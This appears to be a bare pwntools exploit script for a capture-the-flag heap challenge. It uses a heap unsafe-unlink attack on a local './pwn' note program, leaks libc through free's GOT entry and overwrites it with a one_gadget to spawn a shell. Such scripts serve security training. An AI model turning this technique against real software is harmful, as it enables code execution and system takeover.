1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * from LibcSearcher3 import * context(arch='amd64',log_level='debug')
p = process("./pwn")
elf = ELF("./pwn")
def bug(): gdb.attach(p) pause()
def choice(idx): p.sendlineafter("option--->>",str(idx))
def add(size,content): choice(1) p.sendlineafter("Input the length of the note content:(less than 128)",str(size)) p.sendlineafter("Input the note content:",content)
def show(idx): choice(2) p.sendlineafter("Input the id of the note:",str(idx))
def edit(idx,content): choice(3) p.sendlineafter("Input the id of the note:",str(idx)) p.sendlineafter("2.append]",str(1)) p.sendlineafter("TheNewContents:",content)
def free(idx): choice(4) p.sendlineafter("Input the id of the note:",str(idx))
p.recvuntil(":") p.sendline("/bin/sh") p.recvuntil(":") p.sendline("ddd")
heaplist = 0x00602120 fd = heaplist - 0x18 bk = heaplist - 0x10
payload = p64(0) + p64(0xa1) + p64(fd) + p64(bk) add(0x80,payload) add(0x10,b'bbbb') add(0x80,b'cccc')
free(1) payload = p64(0)*2 + p64(0xa0) + p64(0x90) add(0x00,payload) bug()
free(2) free_got = elf.got['free'] payload = b'a'*0x18 + p64(free_got) edit(0,payload)
show(0) p.recvuntil("is ") free_addr = u64(p.recv(6)+b'\x00\x00') success("free_address : "+hex(free_addr)) libc = ELF("./libc6_2.23-0ubuntu10_amd64.so") base = free_addr - libc.sym['free'] system = base + libc.sym['system'] onegadget = base + 0xf02a4
edit(0,p64(onegadget))
p.interactive()
|